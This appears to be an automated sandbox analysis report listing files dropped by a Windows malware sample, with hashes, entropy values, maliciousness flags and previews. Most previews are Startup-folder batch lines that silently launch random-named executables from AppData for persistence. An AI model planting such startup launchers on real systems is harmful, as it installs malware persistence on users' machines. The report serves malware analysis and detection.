SHA-512:	CB642670BC70A3188E302B485E2AA07DA4B76EC9391E284F2D49272926FF83EB534CC9F6458D083DA97157C7C2BE04B544DF472BC64FF562B1007AD2C0394AAA
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\VEH3hOo7SH8Curivn14XA2XL.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YnNYj3NsWtyv1mUxqNvcXDCG.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.883193353602563
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5umtwiWjb4m:fE1cNwi23uAXWjbv
MD5:	2833A946FDCA8DF43B22404393DA09CA
SHA1:	80ECF0CD155104BF1D4393223BF2B8DCCF494A66
SHA-256:	B564381A1B321858A47739B06AFD24E5EACC9288BCEF15C4E73DE574F1B932BD
SHA-512:	7721892D01C1C63460F560483D60FBEA9BF8A60F45840273740602A266A85726081B6FCD45391D3FA81F35426FDA4D4FE897090A42DE7B1CEEE6A934CE7A6C0B
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\KFwijURKZUrjToqwGsuVqcsD.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a0N7wfHYhrlqZ4SvtOhtcxTC.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.865076357995963
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5kjXs79ifSV1nqArWn:fE1cNwi23kDs79i+17rW
MD5:	24C0B09C1F338B0A517F523832EC1FDA
SHA1:	3991851AFB9890A598EED59C4303B9C84A413D21
SHA-256:	0CF8E0CF414E0FEC7E272E43B259B4A4354DCAB8B3970042E20713D32DE8F7C5
SHA-512:	4DF35B77058F8A9DC0728514F6A90DCE76FB4A0B4C3C1C12F4336D5ADE8192CB333305385CA03B93C1B451DF2C6CCD6D1FB45FA0B6B9859769EEFC753C420832
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\AFlhDPRBYXSdsXlIscLwpPBI.exe" /s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b5QOFtze6kWQIzQsICnW3Y23.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.941967244773156
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5PUyJ54wyHPn:fE1cNwi23JrQHP
MD5:	59BCD7E9C725E8EF092C434E97CE534C
SHA1:	7AAEAD7CE9D0092FEAB04353EDCE1104424B9E58
SHA-256:	2D7F6EBBDA0CCAC20D7A3A5910B0E0F39025A3D89E84274DBBD86390D5A0E21F
SHA-512:	1EC9B552FE0593CA93F160E8E0EB469510DC90DC538D611BFC6C5BAD070EFF71ACDE2DD28469BBFB7B5CB281C2C1319AF33E83DF2378B4C0296D136164B76F30
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\j19ppip6hQlQefTQJUWb1E5Y.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bzhtqiaIEnooSzQ58KPkDsXr.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.86114348408973
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5CWzYwOtHFn:fE1cNwi23CWJA
MD5:	74BBEB1FB726FB078F6DE67F3D2AD95B
SHA1:	BB724D746E9205C18BB6291B86EDE778E6C581DA
SHA-256:	2580CF708A6012955B2760E71E19B850E4037AD7EB4E53089ADE932AA4F6FDF2
SHA-512:	A605071FF7E3831DCA8AB80959FADD9DE21C7763657F70EA00D1C7A3B264BAA8B586AB9812BC115E0F80DFEA82FB7F035AE3C2B7CFED47266744781139D650E7
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\gsV4lhPLd9AgpTxUWWWokC1J.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dH9ICyXokcwnq5IDiow3vkKB.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	5.067570904765206
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5fAEWaMF0CCQWn:fE1cNwi234EWaS0IW
MD5:	F82967195CA40D5F98C09E1C69544500
SHA1:	31CA48D38C71C95EEB895C7F67258E3967575028
SHA-256:	18B2553008255B63EF9849FCBBFD8E40477A8B387D5B6443E14A2E87DDC3D30B
SHA-512:	7DFF2DEED528DC18F0D644A911A990839096FBB73CB64407F61663486DC92BFC212958808F67CEAAB8C798023CF01A57FD7E6FF46A6D92FA4C8D174BFCE64F66
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\zPFKv97tg3hm10kOTWpULC1K.exe" /s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsh82zoYXoBpPEndu5XVvQbj.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.020179654972426
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5S6JaWdLdiFn:fE1cNwi23SI5diF
MD5:	DEB0E2A47C0BCBA022E29F7FB454EBC2
SHA1:	BCCB52DDBF8A3B5153564F6493FD99B7028D0571
SHA-256:	A4DC71EA68415A1560EF9BC9E7D67EB577BEECFFD5A2E427D26610F472A330DF
SHA-512:	6F7C130C41DF24BE35BDC2F5D9D0057A1B18E5E96E9C62C30A8CDF89060846A137FFFCA2B1FD6283BC931FFAE5E12B327DE481BA79A73F635CCD2E8714A4C1EC
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\w4xiNBVLdPuuQzpgLYTzx18Y.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fDdDwjmSMhosQx3rLX3Nv89G.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.811123149097904
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J59dvFNgAWOLACl:fE1cNwi23/vgAL0Cl
MD5:	05E277B5AAC42BC60B52C8411006DCE7
SHA1:	48B51FB183B5B35A1BFF92201266050CC4528BC4
SHA-256:	BB6D5781259A6D74FE9DE2DC7EB7F5795B86A8F507FACBC054163FE296A6E270
SHA-512:	D72EE5BCE2FE6D891B9246FA0A145B037A4A83678812A57746F2DC3C427626C0F6BD9FA71D57B5180D164499B241A505A83FC0F7306C5528B15F121CE2E9B083
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\XxYZdepnteJj9ehuEwVshtV3.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ixTCqmFJu5C2WAuYjLa75esH.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.87683179953804
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5KwZvc3yNJl:fE1cNwi23KAvGyNL
MD5:	D1B94F55375706224A19B7DD6208AC56
SHA1:	ABE6E521D4DFF702FD2D3EFA40157CA892F8F2B8
SHA-256:	18BB943AC081C6E986984B9AF7989B78C22F195A30E7D709C45F6EB588070D29
SHA-512:	47CA0E5CF4F0DD2464BCC0D16B5A1FE61F6BC5D17A80EE230F00139638AACD0D6CE738E6CBA2D2EBD07F9047E015528D0211A50F9FB49DC097B4A6715A3D9C77
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\oZEH3cHEU5SysFjbUbbRDrah.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lRYDXj1XORWa1yGwgqL1xUtR.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.941967244773156
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5jRN5TsWK31ACl:fE1cNwi23tN5TsNFAs
MD5:	EFB216544CF3A953DEE46D4E3A2E2B42
SHA1:	08D877F15D7C1518ECDCFE2392BEEB95456F1009
SHA-256:	7B5D3B2180C81106DD145412BEE56926E14C8EB68E649235BC79255D36E21CFF
SHA-512:	A8F3FDE472414A43EB5796FC0CBAC55978EDE0D22AE52AD6B327D677167EF792D7D297DFA94160420DA9DA3E82FA0F9F1C0C7CEEA2998384EE1028D4E834135E
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\F4U52lR6G7O1cHxteAioycWo.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lfz7DVXioZ89NNQKMlyzk5D1.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.900249689189366
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5yEG3fMMrwJF:fE1cNwi23yEaNcJF
MD5:	F3A7BA916E05B1EC0CBED16A9E73C64D
SHA1:	065A024AA1AD991360C87667E398206B75D8D9D4
SHA-256:	8FB5C898DCEC8A0CAB52F489A2EE247EB49EE08079838A02604D0D5789F8BAD8
SHA-512:	6D00F464A5CC1D9200ED208E8278ECC115DD4AF20730098E9B8DBEA2A580465EB91C13DF94B63323FAE8200E0BF00F2AB143077B1D0666C9A45E9E8690A2C62F
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\WaSFZllUCVoGMQbapl7iiNhG.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mttZ30v22cES8SbTv1OgQiYx.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	5.052300944395516
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5TVVInzq3GiWLca4AHFKWn:fE1cNwi23Zinzq31lpiwW
MD5:	FC8FA2C35ABC002BAD7B76D126DC20EF
SHA1:	61C7B8ADD4065B0299CB2E427E186480D5757C15
SHA-256:	855CE7A76D2674B3D80F26B19C5A1CE0D48DA997268636A01A0D6E5A9E59CB68
SHA-512:	F119DACC332B881C7ED476E9B619702A161FA03F7BCB16FA79090944480E4D3F88E9D1AFD72467844024A447BBA2E7D182DF8B2D077DFF769DBC2A42770AA137
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\v0F2dmnMQ8GuOxPTeGs09I9Y.exe" /s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mzNuu3a0I49mMXBViscfANRg.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.936619854012017
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5PSg6jcx05iF:fE1cNwi23agYWF
MD5:	41728ADAC821EE6E7946C768F5243B08
SHA1:	13D20A17E43854C4015C370345FE74850D94051B
SHA-256:	7CA383B52E86249D6938EE171800FC7305CBFB568C63F2BEDA19388C1BFDDD49
SHA-512:	9ED0F9206150BEEF93039C1EABAED09291ADB35D21FFA0D19740B4142D568580414282A892A2D6174658FA7B7D5F5DE4B171EF8CB77EABC242C8A5DF033465F6
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\jRw9sx4Ek0t13Tr93vMM8tJ1.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tEJmB2nPjyQy45rj4ea5hhl3.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.867858894989361
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5D9UhOF3cgULn:fE1cNwi235Uh2sgUL
MD5:	27CE1711E1D58DBA0A5363BB6A118233
SHA1:	8A95A3B5278E54856CB940FAB211FEB5C84E3381
SHA-256:	FC8E061B60103B6C838FDE57E27A0DB800AE46757651B0B37D0E978D7DE0B552
SHA-512:	CFBBD99B32E1034D4680396BF09B008359BCCEE4076B5F48CF2EE1D6909762BE7BD376058F34564F6B93FF526D82231F298BFF32022992B743DB6D30CD49108B
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\fb815uICkCyOkfRy3eesDn62.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tYY0jrXY77oGwO5gH1VTslTu.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.0565498197950784
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5X5UkroiTnUss:fE1cNwi23pjoi+
MD5:	D0EDA5E185180BA5C10FB5F13BBFE750
SHA1:	A256CB680E3A00B507725B3D88A4F52CF903122A
SHA-256:	43F7A91F7E13FC5C64C5F0E138DADABD5D251FDC35FEFF2DE08AD2FDAD349CA7
SHA-512:	37A80F29AD41B65B6841208A34D6BD532F91DC7C2230CD72B72F7A3F2FA6C40BC6538EEC09B799D2BB004B0F7A6FD296555209CA8FA46CF5F13B315C54DD9C9D
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\2nhKzHIgDWCzStH9EAQv4dqj.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\txcp0mnex1Rnt92zIdFfbI0y.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.902861039673521
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5dm++BsDqW0s:fE1cNwi23dN
MD5:	DB92805A065B79BF1C332DA84383EC5B
SHA1:	CB915E22008F031FEA37D7EE632D85BD2B40E619
SHA-256:	B76A9616A5C846241E409A26200F6B0837FE27328A307F15DB1EF997D7D692AC
SHA-512:	08C98D77858CF9EF49270A285C44E4ADE3DF168B14675EEFB25E64C419DF3F73E4728C35880087916DBFE0745D771191628DFF6BEA4DF79ABCE6653D87AC34A3
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\xCvbsgibKaoe0JrKdFZUHTO3.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\u4NTnGOUpjOPuN9Xvi5JMQBJ.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.833746223815757
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5yNQudzGLWmAOVkAln:fE1cNwi23yi8GLW36L
MD5:	B5830EC41C9786D8C03F831999E1B381
SHA1:	E19CA9DB2F08D7708E0DE9043C9B612E21D0232F
SHA-256:	0D9B63C4B44354F16FBE33FCBC4617DEDE40BCFB6D14B639E7208F4D8A44CF9A
SHA-512:	6BAB81CD65A95D06678D149BF88FCACDBC5ACDE73565568808417CB08909B54D06985F80A9EBDC18246DDDCAD106B4913A69181608D3D9C83A933C47AA6C46A7
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\Wh0WdTK7FmemcqdqznsDUek0.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uM7NrUar2CHMPPLhTaEGJaiv.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	5.105634277728849
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5tV9Mvu8Ko9ArWn:fE1cNwi23neurW
MD5:	9243EA60D2FE235EA9FC92130BBCD76D
SHA1:	378F0899F66B6401E9302E6643D12B6511A260BB
SHA-256:	8191498634FF38F9435F84AF2CF00FD1CC57FE58CB5337332B0289863B1B71DB
SHA-512:	C1B1D0F9A54426C2A54A64C7BEA4FA6974AF2272239B5AC68D2E57842F5BCA1719F8C939D6C68E0279290BAB71D7BE4A2EBBF937A3935C4E873D09F1BBB4D51B
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\H0hJPxhIO3F6BQNxVzuoHmfd.exe" /s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vD42lBWTRgzN6MsiYDmXUaxN.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.975726059111652
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J52t5TLlqy5dmn:fE1cNwi232vT4yDm
MD5:	1246C2811437D1F6118305562F42D027
SHA1:	0A8CA47C5D74A8AC2AAB1393CEDBBA248F353857
SHA-256:	161DFBCEACE83D2A953E41502D38DEA4559FC90AF0C0535EFC3E790FF38199DC
SHA-512:	80C169DE24350E633E21DC8DEC32F958E4525521D4DF9BC257AAFC3D8A121A97F18D6EB548758C9CAE993E52843AF50E75283C060A79A20456C5D0E85585327B
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\SMjkjKVfovgJQv0DVgLWunVz.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vtoFw8ASSHe6FVnWEsT9Qpir.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	5.008470710146765
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J50s66YLBndTLVFn:fE1cNwi230t6YvHVF
MD5:	868B0FA4E039A3CA6F10CD329F4D6A03
SHA1:	A642921BF0544C318116786FCA41676DC8CF0302
SHA-256:	92ED0A26A66F691EEDF9A0CA976CF73A6ADCFBEED19A13CE9F3723CB45298091
SHA-512:	E1EE3920E3FC7DDF57A255D43071D9C64738DE340F1F7BEAE9B84AAC1B5F4AE667D4275773ED6A1EB62057084E6BC27B65E9793E707122D666E95A83E7FF2D15
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\QdAnaM3mjG9zwvm6YlndB8Yg.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w7u98nz6M4xUaPLHp2FQ8cKh.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.91277569843938
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5NI1iHGHcv20sKWn:fE1cNwi23iivu+W
MD5:	21CEFF6BFBADCDE76B2B80B1780BE62D
SHA1:	4F211ECFBD01CEB4DC3D691BF7B28FB14CC77B5C
SHA-256:	EF6E5781D02460C75BAC83B47F0ED333E432F54536E8C7FEB0A30F2810F9F4D6
SHA-512:	D71CF64BB955EA16DB0435511A865FEBD06394F5D841139FD71815630A2C47646B1271F7918BF217157766D8C60C65C87E75491AD23CD87A2DA138CC013F77B1
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\hmtNBhlQWScQGAc2r9fH2laz.exe" /s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xInHqHgRkuPGfp5esHw9Po4t.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.904229059812012
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5Go+FqCSkiF:fE1cNwi23Go+HKF
MD5:	239E6D49FEEEEF02D82A1B0ABA5A94FF
SHA1:	62612FBA415B8D9B3AB8FACB5F0AC13A5956C9D2
SHA-256:	065244DBA8899B6CF95E47A52509286B0EAABA7B484176E96468A214ABF29ED6
SHA-512:	DF956C5EBB3599866F70BA45B4D9A8178707E71749F991A4CAA8D08D13ABF984EDF8AC3790093CE8AAA5A8C1BDB8D892EA1261E71D576E6A5FA42294111D5DC2
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\cIoVbmWEriSiViaXsDVPRBww.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsGva5E6VHjdUQqf5f96rHfC.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.952308169460329
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5Xh/0bXUHkv:fE1cNwi23x/DHkv
MD5:	4D8012E79BC4D10697D7CFE3C5964D16
SHA1:	46E21DC53F1BCD035F49C7253196E7EC753AA36D
SHA-256:	D1DA651F416199E2F73987932AAA65EEF9BA701408CA4A5B7418D75506A948BC
SHA-512:	3AC967A1672AB3D157DB70F5D25150A89BEF9326F65763A10541963E7A339B2041E138A7A2A040F0213554E2BC8E9F5EBE39048845EE07F8E87F5EF44877E7D8
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\rCs1RclDFMYQLymrwE3zboPd.exe"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yx7mEUrFnFwXRMEpkyGWl1Pr.bat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.925503944337822
Encrypted:	false
SSDEEP:	3:Ljn9m10nacwRE2J5q3GegLfgOAjRiwWn:fE1cNwi23q3GFgOAjRiwW
MD5:	50041A83F7EEB7FA8E3CCBCCB1B285B7
SHA1:	6E818FD0198DB793EC3DEDBAD21F77307E72B4D5
SHA-256:	A8643100DA1EFD37A5D6E8CC7B1C1225BBF608F052BA9F33AEA166EF54C11A3B
SHA-512:	1934E8C5CD063926B9926FE80F00E7F7B959E04480C35092B2CC73E8F695CDEC644383A316EFAF3E8D622F5FB54219D9B855CF031FC7714EBFFE8538D2DFE5AD
Malicious:	true
Preview:	start "" "C:\Users\user\AppData\Local\O6FJxszjCn1zgUzc3ngkew5Q.exe" /s

C:\Users\user\AppData\Roaming\hvfsedh

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223744
Entropy (8bit):	6.935500931385667
Encrypted:	false
SSDEEP:	3072:Kuznf8GvOGOqHDT6C3q+OElN2SeYgzOdZRJZlb3asijEq95mdBbx1ldvhqy:Hf8COqjmC64eYgzOJZlWsi19YdX1ld
MD5:	C5A6381354CD5D1488E362C9103C1851
SHA1:	3D87BC60F2C8A74BCD0295AF4EDF02D9486BE3B5
SHA-256:	B69CF7AEC22182A247D52D76C200A78128CCCAFA246DEDAFC8898824DB7424F9
SHA-512:	2C22149B37041AE844F3A12459C8A7EA837B1F62E0F54D4C9FC188D823433B92497AB697F841C05D958A758A9A2B69AC0DDB779659B19721FEED54B4C5736CE7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...............................................N.............N......Rich............................PE..L.....Md.....................N.......>............@..........................`.......d.......................................i..P...................................i..............................@_..@...............d............................text.../........................... ..`.rdata...q.......r..................@..@.data...`1.......x...\..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\0xzSXfvcS_VEarTqOdaPs4ts.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4815512
Entropy (8bit):	7.796002238696443
Encrypted:	false
SSDEEP:	98304:+yjDqWHejZxTbsZFmVRVMGGLwMjzfq/+gIopszmuJDRXts3fYw:+uz+jZuyWTzjzp1opszZL9s3fF
MD5:	C0FEE8DB6325C8C1B3F8CCD13574C65A
SHA1:	2DDC159F8A06218C7622C7CD107598BE1FBD3C99
SHA-256:	D177DC7BA9F3E8511B08293B8CF92AF0BA4DEDD029C9F8365FCF05AFA8375344
SHA-512:	76ED65DC22149C9263C83D73D16A08E99B9137E619FE26AF852ACC2B4AF127C43BD5C6DD2BD16BA117C3432E1422F54157FE6CCB6E9D997E02C776BD52A26BF9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............P...........@..........................0}.......I...@..................................F2.@.....p..-............I..t....o...............................9. .....o.@.............O.......E.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...\|..........................`..`.vmp....>.. 1...>.................`..`.reloc........o.......>.............@..@.rsrc....-....p..8....>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\1j9R8lifNJQPOos8jChy96bC.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\3jK_1xVb8VV_A9ZblPqH0VLP.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	224256
Entropy (8bit):	6.9433984885266815
Encrypted:	false
SSDEEP:	6144:3OffmWXp9n7o2qtKn6hMXxhbdmfNYD6W:3Of+Wrn7ovhMXxhEfNYDf
MD5:	1E1FEA74A0F30FDD73BEAEC4B58DF40A
SHA1:	B02535062E46656A73C80EE20EE0D6D4BFDD5D36
SHA-256:	92401CFD60B233D27D1A6EFF87CCED8AA1447BB61F9ABD27F3580AB9DAE24F41
SHA-512:	890418BF3F5A80C66EDAEFDADDE6ACAF847681C246C538C243EC2E25C6BA558B802A9378FBE3920D4A70F045D7C28607BD30C946184EDDE2D0C2DBBC3582B2F3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...............................................N.............N......Rich............................PE..L....lud.....................P.......>............@..........................`.......b.......................................i..P...................................i..............................@_..@...............d............................text.../........................... ..`.rdata...q.......r..................@..@.data....4.......z...\..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\49PhL2u6RJaN6gkfIG6mTjtg.exe

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467500
Entropy (8bit):	5.351114150753326
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8K5a2MChtQZBtnI7665:Mksqz5a2MChtQc
MD5:	308243063DD35FB60BE105D128F1B6D7
SHA1:	E586E16BA320B666A74351BF3EA3EF4D57603975
SHA-256:	BB05C001EDD0F8A7DE936D96297A1D7978FDB1F4F6DC0456F0C9AA896FCA929A
SHA-512:	ABFDDA2E5218C23E1BD9D1E0C67A2FA1C55C89249B11D7B0EB7DB569F26624830DDC5C6D43241161775D2721DAB43DE12B295F261A53CBA53DE0354A088AE27F
Malicious:	false
